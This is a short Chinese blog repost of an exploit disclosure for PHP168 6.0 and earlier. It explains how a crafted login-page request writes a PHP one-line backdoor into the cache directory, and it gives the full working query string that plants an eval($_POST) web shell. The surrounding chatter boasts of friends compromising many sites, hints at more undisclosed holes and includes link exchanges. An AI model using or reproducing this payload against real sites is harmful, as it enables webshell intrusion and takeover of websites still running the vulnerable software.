PHP168 6.0及以下版本漏洞
# 鬼仔:未测试。最近比较忙,所以很多东西都更新不及时,也有好多没贴上来,抱歉,这几天整理下,把积攒的都更新了。
来源: chinesehonker
危险等级:高
影响版本:PHP168 6.0以下版本
入侵者可以在用户登陆页面构造特殊语句,将PHP一句话写入cache目录,从而获得使用PHP168整站程序网站的WEBSHELL权限。
测试语句:
?makehtml=1&chdb[htmlname]=honker.php&chdb[path]=cache&content=?php%20@eval($_POST[honker]);?
而且马俊那里有篇8月份发的加密日志就是这个,昨天马俊把那个加密日志密码发了出来
那篇加密日志的地址在这里。
内容:
他说他搞到四个了,不过我的一个朋友说他搞死了一片了,汗颜
漏洞是我追一个V6版本漏洞时,当时我知道朋友手里有,都不方便给我,后来找了几个被日过的PHP168程序 追到的。。。
PHP168还有很多个没被公布出来的洞。。。
http://bbs.php168.com/read-bbs-tid-263585.html
我已经做好鬼仔哥的链接,希望鬼仔哥给个链接
Inet.sec 'Sblog http://hi.baidu.com/inetsec
谢谢
by INet.sec
唉0day还是不要公布好``
不然受害者一大把哦`